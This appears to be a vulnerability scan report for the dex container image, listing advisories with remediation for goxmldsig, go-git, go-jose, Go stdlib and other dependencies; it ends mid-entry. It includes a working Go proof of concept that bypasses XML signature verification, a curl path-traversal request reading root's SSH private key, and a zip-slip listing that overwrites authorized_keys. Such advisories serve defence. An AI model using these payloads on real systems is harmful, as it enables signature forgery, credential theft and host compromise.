  • Introduced through: github.com/dexidp/dex@* › github.com/russellhaering/goxmldsig@v1.5.0

Overview

github.com/russellhaering/goxmldsig is a XML Digital Signatures implemented in pure Go.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the validateSignature function in the validate.go file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.

PoC

package main
        
        import (
            "crypto/rand"
            "crypto/rsa"
            "crypto/tls"
            "crypto/x509"
            "encoding/base64"
            "fmt"
            "math/big"
            "time"
        
            "github.com/beevik/etree"
            dsig "github.com/russellhaering/goxmldsig"
        )
        
        func main() {
            key, err := rsa.GenerateKey(rand.Reader, 2048)
            if err != nil {
                panic(err)
            }
        
            template := &x509.Certificate{
                SerialNumber: big.NewInt(1),
                NotBefore:    time.Now().Add(-1 * time.Hour),
                NotAfter:     time.Now().Add(1 * time.Hour),
            }
        
            certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
            if err != nil {
                panic(err)
            }
        
            cert, _ := x509.ParseCertificate(certDER)
        
            doc := etree.NewDocument()
            root := doc.CreateElement("Root")
            root.CreateAttr("ID", "target")
            root.SetText("Malicious Content")
        
            tlsCert := tls.Certificate{
                Certificate: [][]byte{cert.Raw},
                PrivateKey:  key,
            }
        
            ks := dsig.TLSCertKeyStore(tlsCert)
            signingCtx := dsig.NewDefaultSigningContext(ks)
        
            sig, err := signingCtx.ConstructSignature(root, true)
            if err != nil {
                panic(err)
            }
        
            signedInfo := sig.FindElement("./SignedInfo")
        
            existingRef := signedInfo.FindElement("./Reference")
            existingRef.CreateAttr("URI", "#dummy")
        
            originalEl := etree.NewElement("Root")
            originalEl.CreateAttr("ID", "target")
            originalEl.SetText("Original Content")
        
            sig1, _ := signingCtx.ConstructSignature(originalEl, true)
            ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
        
            signedInfo.InsertChildAt(existingRef.Index(), ref1)
        
            c14n := signingCtx.Canonicalizer
        
            detachedSI := signedInfo.Copy()
            if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
                detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
            }
        
            canonicalBytes, err := c14n.Canonicalize(detachedSI)
            if err != nil {
                fmt.Println("c14n error:", err)
                return
            }
        
            hash := signingCtx.Hash.New()
            hash.Write(canonicalBytes)
            digest := hash.Sum(nil)
        
            rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
            if err != nil {
                panic(err)
            }
        
            sigVal := sig.FindElement("./SignatureValue")
            sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
        
            certStore := &dsig.MemoryX509CertificateStore{
                Roots: []*x509.Certificate{cert},
            }
            valCtx := dsig.NewDefaultValidationContext(certStore)
        
            root.AddChild(sig)
        
            doc.SetRoot(root)
            str, _ := doc.WriteToString()
            fmt.Println("XML:")
            fmt.Println(str)
        
            validated, err := valCtx.Validate(root)
            if err != nil {
                fmt.Println("validation failed:", err)
            } else {
                fmt.Println("validation ok")
                fmt.Println("validated text:", validated.Text())
            }
        }
        

Remediation

Upgrade github.com/russellhaering/goxmldsig to version 1.6.0 or higher.

References


Incorrect Authorization

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/dex
  • Package Manager: golang
  • Vulnerable module: github.com/openbao/openbao/api/v2
  • Introduced through: github.com/dexidp/dex@* and github.com/openbao/openbao/api/v2@v2.5.1

Detailed paths

  • Introduced through: github.com/dexidp/dex@* › github.com/openbao/openbao/api/v2@v2.5.1

Overview

Affected versions of this package are vulnerable to Incorrect Authorization via the sys/revoke and sys/renew endpoints. An attacker can revoke or renew leases and underlying credentials belonging to other tenants by exploiting these endpoints if they have access to leaked lease identifiers.

Remediation

Upgrade github.com/openbao/openbao/api/v2 to version 2.5.4 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/go-jose/go-jose/v4
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-jose/go-jose/v4@v4.1.3

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-jose/go-jose/v4@v4.1.3
  • Introduced through: github.com/dexidp/dex@* › github.com/go-jose/go-jose/v4@v4.1.3

Overview

Affected versions of this package are vulnerable to Uncaught Exception in the cipher.KeyUnwrap function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the encrypted_key field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty encrypted_key field or by directly invoking cipher.KeyUnwrap with a ciphertext parameter less than 16 bytes long.

Note:

This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.

Workaround

This vulnerability can be mitigated by prevalidating JWE objects to ensure the encrypted_key field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.

Remediation

Upgrade github.com/go-jose/go-jose/v4 to version 4.1.4 or higher.

References


Inefficient Algorithmic Complexity

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/go-jose/go-jose/v4
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-jose/go-jose/v4@v4.1.3

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-jose/go-jose/v4@v4.1.3
  • Introduced through: github.com/dexidp/dex@* › github.com/go-jose/go-jose/v4@v4.1.3

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the parsing process of JWKs containing RSA keys due to lack of size and consistency checks on RSA modulus and prime values before validation. An attacker can cause excessive CPU consumption and disrupt service availability by submitting specially crafted JWKs with large or malformed RSA parameters.

Remediation

Upgrade github.com/go-jose/go-jose/v4 to version 4.1.6 or higher.

References


Directory Traversal

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/go-git/go-git/v5/storage/filesystem/dotgit
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/storage/filesystem/dotgit@v5.16.4

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/storage/filesystem/dotgit@v5.16.4

Overview

Affected versions of this package are vulnerable to Directory Traversal via the processing of reference names in dotgit. An attacker can modify or overwrite files outside the intended reference storage by supplying specially crafted reference names containing path traversal sequences. This is only exploitable if the application uses filesystem-backed storage and interacts with a malicious Git server or processes attacker-controlled reference names.

Workaround

This vulnerability can be mitigated by exclusively using in-memory storage or by validating reference names at the application level before passing them to filesystem-backed storage.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
        

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
        

Remediation

Upgrade github.com/go-git/go-git/v5/storage/filesystem/dotgit to version 5.19.2 or higher.

References


Insufficiently Protected Credentials

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/go-git/go-git/v5/plumbing/transport/http
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/transport/http@v5.16.4

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/transport/http@v5.16.4

Overview

Affected versions of this package are vulnerable to Insufficiently Protected Credentials in the advertisedReferences() function. The headers - including Authorization headers - from an initial /info/refs request are forwarded to redirect targets. An attacker can obtain authentication credentials by controlling a redirect target, and those credentials may be reused on other endpoints or attempted against other repositories owned by the victim. This is only exploitable if the client interacts with untrusted or misconfigured remote servers, or uses HTTP (not HTTPS) connections.

Remediation

Upgrade github.com/go-git/go-git/v5/plumbing/transport/http to version 5.18.0 or higher.

References


Incorrect Behavior Order: Validate Before Canonicalize

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/go-git/go-git/v5/plumbing/object
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/object@v5.16.4

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/object@v5.16.4

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize in the parsing of Git objects with malformed or ambiguous commit or tag objects. An attacker can cause inconsistent interpretation of object metadata or signature validation by introducing specially crafted objects that are parsed differently than by upstream Git, potentially leading to the acceptance of commits with misleading or unintended metadata.

Remediation

Upgrade github.com/go-git/go-git/v5/plumbing/object to version 5.19.0 or higher.

References


Directory Traversal

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/go-git/go-git/v5/plumbing
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing@v5.16.4

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing@v5.16.4

Overview

github.com/go-git/go-git/v5/plumbing is a highly extensible git implementation library written in pure Go.

Affected versions of this package are vulnerable to Directory Traversal via the processing of reference names in dotgit. An attacker can modify or overwrite files outside the intended reference storage by supplying specially crafted reference names containing path traversal sequences. This is only exploitable if the application uses filesystem-backed storage and interacts with a malicious Git server or processes attacker-controlled reference names.

Workaround

This vulnerability can be mitigated by exclusively using in-memory storage or by validating reference names at the application level before passing them to filesystem-backed storage.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
        

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
        

Remediation

Upgrade github.com/go-git/go-git/v5/plumbing to version 5.19.2 or higher.

References


Symlink Attack

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/go-git/go-git/v5
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5@v5.16.4

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5@v5.16.4

Overview

Affected versions of this package are vulnerable to Symlink Attack in worktree_fs.go and worktree.go are vulnerable to symlink traversal in filesystem-backed worktrees. An attacker can modify or overwrite files outside the intended worktree by placing a symlink in the tree and then triggering a worktree operation, such as checkout, create, rename, or remove, against a path that resolves through that link. This can redirect writes into the repository’s .git metadata or another external target, leading to arbitrary file write and corruption of repository state, which can break subsequent Git operations and expose or alter files the application did not intend to touch.

Remediation

Upgrade github.com/go-git/go-git/v5 to version 5.19.2 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/aws/aws-sdk-go-v2/service/s3
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/aws/aws-sdk-go-v2/service/s3@v1.95.1

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/aws/aws-sdk-go-v2/service/s3@v1.95.1

Overview

Affected versions of this package are vulnerable to Uncaught Exception via the eventstream decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

Remediation

Upgrade github.com/aws/aws-sdk-go-v2/service/s3 to version 1.97.3 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.7.4

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.7.4

Overview

Affected versions of this package are vulnerable to Uncaught Exception via the eventstream decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

Remediation

Upgrade github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream to version 1.7.8 or higher.

References


Improper Validation of Specified Quantity in Input

medium severity
Exploit: Not Defined

  • Package Manager: alpine:3.23
  • Vulnerable module: zlib/zlib
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and zlib/zlib@1.3.1-r2

Detailed paths

  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › zlib/zlib@1.3.1-r2
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › zlib/zlib@1.3.1-r2
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › zlib/zlib@1.3.1-r2

NVD Description

Note: Versions mentioned in the description apply only to the upstream zlib package and not the zlib package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

zlib before 1.3.2 allows CPU consumption via crc32_combine64 and crc32_combine_gen64 because x2nmodp can do right shifts within a loop that has no termination condition.

Remediation

Upgrade Alpine:3.23 zlib to version 1.3.2-r0 or higher.

References


Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/archive/tar is a Go standard library package std/archive/tar

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling.

Go Vulnerability Report:

tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.

Remediation

Upgrade std/archive/tar to version 1.25.9, 1.26.2 or higher.

References


HTTP Request Smuggling

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6

Overview

std/cmd/cgo is a Go standard library package std/cmd/cgo

Affected versions of this package are vulnerable to HTTP Request Smuggling.

Go Vulnerability Report:

A discrepancy between how Go and C/C++ comments were parsed allowed for code smuggling into the resulting cgo binary.

Remediation

Upgrade std/cmd/cgo to version 1.24.13, 1.25.7 or higher.

References


Symlink Attack

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

Affected versions of this package are vulnerable to Symlink Attack.

Go Vulnerability Report:

The "go bug" command writes to two files with predictable names in the system temporary directory (for example, "/tmp"). An attacker with access to the temporary directory can create a symlink in one of these names, causing "go bug" to overwrite the target of the symlink.

Remediation

Upgrade std/cmd/go to version 1.25.10, 1.26.3 or higher.

References


Improper Certificate Validation

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6

Overview

std/crypto/tls is a Go standard library package std/crypto/tls

Affected versions of this package are vulnerable to Improper Certificate Validation.

Go Vulnerability Report:

During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

Remediation

Upgrade std/crypto/tls to version 1.24.13, 1.25.7, 1.26.0-rc.3 or higher.

References


Cleartext Transmission of Sensitive Information

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/tls is a Go standard library package std/crypto/tls

Affected versions of this package are vulnerable to Cleartext Transmission of Sensitive Information.

Go Vulnerability Report:
Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello.

Remediation

Upgrade std/crypto/tls to version 1.25.12, 1.26.5, 1.27.0-rc.2 or higher.

References


Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/x509 is a Go standard library package std/crypto/x509

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling.

Go Vulnerability Report:

During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.

Remediation

Upgrade std/crypto/x509 to version 1.25.9, 1.26.2 or higher.

References


Cross-site Scripting (XSS)

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/html/template is a Go standard library package std/html/template

Affected versions of this package are vulnerable to Cross-site Scripting (XSS).

Go Vulnerability Report:
Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh".A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade std/html/template to version 1.25.8, 1.26.1 or higher.

References


Improper Encoding or Escaping of Output

medium severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/html/template is a Go standard library package std/html/template

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output.

Go Vulnerability Report:

If a trusted template author were to write a